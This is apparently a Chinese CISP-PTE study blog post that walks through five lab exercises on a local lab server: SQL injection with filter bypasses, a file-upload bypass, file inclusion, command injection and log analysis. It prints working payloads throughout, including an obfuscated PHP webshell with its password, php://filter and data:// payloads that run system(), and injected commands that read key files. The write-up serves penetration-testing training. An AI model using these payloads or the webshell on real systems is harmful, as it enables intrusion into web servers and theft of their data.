文章目录

  • 0x01 基础题目之SQL注入
    • 解题过程
  • 0x02 基础题目之文件上传突破
    • 解题过程
    • 分析
  • 0x03 基础题目之文件包含
    • 解题过程
  • 0x04 基础题目之命令执行
    • 解题过程
  • 0x05 基础题目之日志分析
    • 解题过程
  • 摘抄

0x01 基础题目之SQL注入

所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
通过SQL注入漏洞读取/tmp/360/key文件,答案就在文件中。
开始答题!

解题过程

第一步 通过闭合id,确定注入点

id=1)' 回显异常
id=1)'' 回显正常
id=1)%27%27)


第三步 判断页面回显的字段数,进行注释、双写绕过

发现空格被过滤
id=1') group by 5%23
使用/**/代替空格
id=1%27)/**/order/**/by/**/4%23  回显异常
id=1')/**/order/**/by/**/5%23  回显正常



id=1%27)/**/group/**/by/**/4%23  回显异常
id=1')/**/group/**/by/**/5%23  回显正常


第四步 通过union select 查询判断回显字段

使用union发现被过滤
id=-1%27)/**/union/**/select/**/1,2,3,4%23
双写union进行绕过:
id=-1%27)/**/ununionion/**/select/**/1,2,3,4%23
发现回显2,3,4字段

第五步 通过文件读取load_file()获取key

id=-1')/**/ununionion/**/select/**/1,2,load_file('/tmp/360/key'),4%23
id=-1%27)/**/ununionion/**/select/**/1,2,load_file(%27/tmp/360/key%27),4%23

0x02 基础题目之文件上传突破

文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。这种攻击方式是最为直接和有效的,“文件上传”本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。
通过你所学到的知识,测试其过WAF滤规则,突破上传获取webshell,答案就在根目录下key.php文件中。
请开始答题!

解题过程

第一步 上传图片,并且抓取数据包

第二步 使用后缀,图片头进行绕过

POST /vulnerabilities/fu1.php HTTP/1.1
Host: 192.168.0.222:82
Content-Length: 801
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.0.222:82
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryI5MEpgsFAgfBFoIp
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.67 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.0.222:82/vulnerabilities/fu1.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=nk0g66o9civqh4dpqh7njo3p81
Connection: close------WebKitFormBoundaryI5MEpgsFAgfBFoIp
Content-Disposition: form-data; name="files"; filename="222.pht"
Content-Type: image/jpegGIF89a
<?php $DyWT=create_function(chr(0x42cc/0x1db).base64_decode('cw==').str_rot13('b').base64_decode('bQ==').str_rot13('r'),chr(963-862).base64_decode('dg==').base64_decode('YQ==').str_rot13('y').chr(0x3598/0x157).base64_decode('JA==').chr(0577-0414).chr(01226-01047).base64_decode('bQ==').str_rot13('r').chr(18942/462).chr(24957/423));$DyWT(base64_decode('MzA2M'.'TM1O0'.'BldkF'.'sKCRf'.''.chr(0x10450/0x310).chr(01435-01330).chr(51642/906).chr(0137640/01110).str_rot13('I').''.''.base64_decode('Rg==').chr(0331214/01677).str_rot13('c').chr(52668/627).str_rot13('y').''.'NqWHd'.'aTF0p'.'OzkxO'.'DQwNT'.'s='.''));?>
------WebKitFormBoundaryI5MEpgsFAgfBFoIp--


通过测试发现,请求内容的头是否是头片格式、Php、Php3能传上去,但是无法连接成功,返回包会原样输出,无法解析成php
上传pht发现可以成功

http://192.168.0.222:82/vulnerabilities/222.pht

第三步 进行连接

<?php // 使用时请删除此行, 连接密码: iNSjXwZL ?>
<?php $DyWT=create_function(chr(0x42cc/0x1db).base64_decode('cw==').str_rot13('b').base64_decode('bQ==').str_rot13('r'),chr(963-862).base64_decode('dg==').base64_decode('YQ==').str_rot13('y').chr(0x3598/0x157).base64_decode('JA==').chr(0577-0414).chr(01226-01047).base64_decode('bQ==').str_rot13('r').chr(18942/462).chr(24957/423));$DyWT(base64_decode('MzA2M'.'TM1O0'.'BldkF'.'sKCRf'.''.chr(0x10450/0x310).chr(01435-01330).chr(51642/906).chr(0137640/01110).str_rot13('I').''.''.base64_decode('Rg==').chr(0331214/01677).str_rot13('c').chr(52668/627).str_rot13('y').''.'NqWHd'.'aTF0p'.'OzkxO'.'DQwNT'.'s='.''));?>

分析

<?php//黑名单验证,大小写绕过function step1($files){$filename = $files["name"];$ext = substr($filename,strripos($filename,'.') + 1);if ($ext != "php"){return true;}return false;}//验证MIME头,修改数据包绕过function step2($files){if($files['type'] == "image/gif" || $files['type'] == "image/jpeg" || $files['type'] == "image/png") {return true;}return false;}//验证文件内容,不能包含eval等敏感函数名,使用其他内容,文件读写function step3($files){$content = file_get_contents($files["tmp_name"]);if (strpos($content, "eval") === false && strpos($content, "assert") === false ){return true;}return false;}//验证文件头function step4($files){$png_header = "89504e47";$jpg_header = "ffd8FFE0";$gif_header = "47494638";$header = bin2hex(file_get_contents ( $files["tmp_name"] , 0 , NULL , 0 , 4 )); if (strcasecmp($header,$png_header) == 0 || strcasecmp($header,$jpg_header) == 0 || strcasecmp($header,$gif_header) == 0) {return true;}return false;}function judge($files){if (step1($files) && step2($files)  && step4($files)){return true;}return false;}?>

1、黑名单验证,可以通过大小写绕过
2、验证MIME头,,必须是type里面的(mage/gif、image/jpeg、image/png)可以修改数据包绕过
3、验证文件内容,必须是tmp_name里面的(eval、assert),可以使用其他内容,文件读写
4、验证文件头

0x03 基础题目之文件包含

PHP文件包含漏洞的产生原因是在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。
通过你所学到的知识,测试该网站可能存在的包含漏洞,尝试获取webshell,答案就在根目录下key.php文件中。

请开始答题!

解题过程

第一步 发现是通过file参数,想到读取文件

第二步 PHP://filter协议读取

php://filter/read=convert.base64-encode/resource=../key.php

第三步 使用base64解码,查看key

R2V0IGl0IQ0KPD9waHANCg0KLy9rZXk6NnUzeDl0MnANCj8+
base64解码:
Get it!
<?php//key:6u3x9t2p
?>

第四步 data:text/plain协议读取

查看当前目录下的文件
data://text/plain,<?php print_r(scandir(".")); ?>
查看当前上级目录下的文件
data://text/plain,<?php print_r(scandir("..")); ?>
查看key.php内容
data://text/plain,<?php @eval(system('cat%20../key.php')); ?>
data://text/plain,<?php system('cat%20../key.php'); ?>
查看当前用户权限
data://text/plain,<?php system(whoami) ?>



0x04 基础题目之命令执行

命令执行是指攻击者通过浏览器或者其他客户端软件提交一些cmd命令(或者bash命令)至服务器程序,服务器程序通过system、eval、exec等函数直接或者间接地调用cmd.exe执行攻击者提交的命令。
通过你所学到的知识,通过执行Linux命令获取webshell,答案就在根目录下key.php文件中。
请开始答题!

解题过程

第一步 构造payload

127.0.0.1 | tac ../key.php

第二步 其他payload

127.0.0.1 | less ../key.php
127.0.0.1 | m'or'e ../key.php
127.0.0.1 | tail ../key.php
127.0.0.1 | v''i ../key.php
127.0.0.1 | c'a't ../key.php
127.0.0.1 | head ../key.php
127.0.0.1 | nl ../key.php
|od -c ../key.php
|xxd ../key.php
|xxd ../key.php|grep key
|grep "key" ../key.php
|sed -n '1,5p' ../key.php|grep key



0x05 基础题目之日志分析

最近管理员很苦恼,发现自己的服务器被人入侵了,但是不知道原因,你能帮帮他吗?
管理员把日志保存下来了,大概分析了一下,有两个IP对服务器进行了攻击, 感觉攻击者的IP是 172.16.12.12 。
日志下载地址:当前目录下的 access.log
请开始答题!

解题过程

第一步 下载日志文件,并且导入excel中

http://192.168.0.222:85/access.log

第二步 更具题目要求,过滤源IP,对内容进行,进行分类(便于筛选)

第三步 过滤200成功的状态码,发现请求路径/adminlogin.php,访问

第四步 发现后台,模糊测试获取口令

http://192.168.0.222:85/adminlogin.php
admin/password123

第五步 进入后台,发现key

摘抄


待人胸怀宽广、豁达大度,是一个人具有良好修养的外在表现。
予人宽容,不仅能得到真情,更能赢得尊重。
把眼光放长远,就不会囿于眼前的小事。
少些指责、多些体谅,方能修得胸中雅量,蓄得一生顺遂。
不在一些无关紧要的事情上斤斤计较,专注于目标,才更容易获得成功。
---《宽容豁达》


CISP-PTE学习总结之基础练习题(四)相关推荐

  1. CISP-PTE学习总结之基础练习题(三)

    文章目录 练习题目一:SQL注入 0x01 题目要求 0x02 解答过程: 0x03 解题总结: 练习题目二:文件上传突破 0x01 题目要求: 0x02 解题过程: 0x03 解题总结: 练习题目三 ...

  2. 深度学习(8)TensorFlow基础操作四: 维度变换

    深度学习(8)TensorFlow基础操作四: 维度变换 1. View 2. 示例 3. Reshape操作可能会导致潜在的bug 4. tf.transpose 5. Squeeze VS Exp ...

  3. 零基础带你学习MySQL—创建表(四)

    零基础带你学习MySQL-创建表(四)

  4. 计算机科学与技术学习路线编程基础四大件应用实践编程(含C++学习路线)

    计算机科学与技术学习路线&编程基础四大件&应用实践编程(含C++学习路线) 基本介绍 本人211科班出身,目前大学临近毕业,想给迷茫的同行者或者后来人一些建议和推荐,少走弯路.想想自己 ...

  5. mysql循环查询一个表中的数据并进行修改_JavaScript学习笔记(二十四)-- MYSQL基础操作...

    MYSQL mysql 是一个数据库的名字 和 php 合作的比较好的数据库 之前我们说过一个问题,前端向后端索要数据,后端就是去数据库中查询数据,返回给前端 接下来就聊聊使用 php 操作数据库 M ...

  6. 二进制除法教程计算机基础,计算机应用基础第四章《二进制的学习》课件.ppt...

    <计算机应用基础第四章<二进制的学习>课件.ppt>由会员分享,可在线阅读,更多相关<计算机应用基础第四章<二进制的学习>课件.ppt(26页珍藏版)> ...

  7. JavaScript基础练习题(四)

    JavaScript基础练习题(四) 一.单选题 1.同步和异步执行分别表示什么含义 A 同步是按顺序依次执行:异步是同时分开一起执行 B 同步是同时分开一起执行:异步是按顺序依次执行 C 同步是按一 ...

  8. 【Python|Kaggle】机器学习系列之Pandas基础练习题(四)

    前言 Hello!小伙伴! 非常感谢您阅读海轰的文章,倘若文中有错误的地方,欢迎您指出-   自我介绍 ଘ(੭ˊᵕˋ)੭ 昵称:海轰 标签:程序猿|C++选手|学生 简介:因C语言结识编程,随后转入计 ...

  9. 乘法原理的例题和答案_小学四年级奥数加法原理与乘法原理的基础练习题

    小学四年级奥数加法原理与乘法原理的基础练习题 1.如果两个四位数的差等于8921,那么就说这两个四位数组成一个数对,问这样的数对共有多少个? 分析:从两个极端来考虑这个问题:最大为9999-1078= ...

最新文章

  1. 【 MATLAB 】【 MATLAB 】DFT的性质讨论(三)序列的循环卷积及其 MATLAB 实现
  2. java linkedlist 查找_Java中LinkedList真的是查找慢增删快
  3. chosen ajax获取数据,Jquery Chosen插件 - 由Ajax动态填充列表
  4. echo -e 参数
  5. linux io100的原因_Linux学习笔记(九)软件包管理
  6. 【深度学习】Panoptic FCN:真正End-to-End的全景分割
  7. 【教女朋友学网络系列4】之今天教她一些简单的交换机实验
  8. unet实现区域分割
  9. 【每日SQL打卡】​​​​​​​​​​​​​​​DAY 15丨查询活跃业务【难度中等】
  10. [Python] 读取存储.mat数据 scipy.io.loadmat(FileName)和scipy.io.savemat('XXX.mat', {'x': x,'y': y,'z': z})
  11. 电感电容阻抗和公式记录
  12. 嗯,好不容易得到面试机会,面试官问的全回答了,但心痒一看状态进了人才库了.....
  13. 零基础学习人工智能如何入门?
  14. [附源码]Python计算机毕业设计Django的项目管理系统
  15. php-ews发送邮件,使用php-ews回复电子邮件
  16. Java应用系列之Pinyin4j简单使用教程
  17. java定义类模板_定义模板——函数模板和类模板
  18. ULONG_PTR与ULONG
  19. 谈谈技术债务的定义,影响以及管理
  20. python画太极八卦图_「太极八卦图」使用HTML+CSS画太极八卦图 - seo实验室

热门文章

  1. JavavEE中网络编程Socket套接字Ⅰ(UDP)
  2. 1U和2U服务器的优缺点对比
  3. C++实现指针式时钟Sample
  4. 基于微信小程序的快递取件及上门服务-计算机毕业设计
  5. LinkedIn最好工具-领英精灵11.11最低获得方法
  6. 利用pandas进行exceld 的列相加求和
  7. 知道吗,你和高级工程师差距巨大
  8. 凤舞丹心东方美,中华才女竞风采 ——黛兰娜杯《中华才女大赛》七月汇演
  9. 最近有股强烈的挫败感
  10. 嵌入式linux华清远见考试,华清远见系统移植考试复习题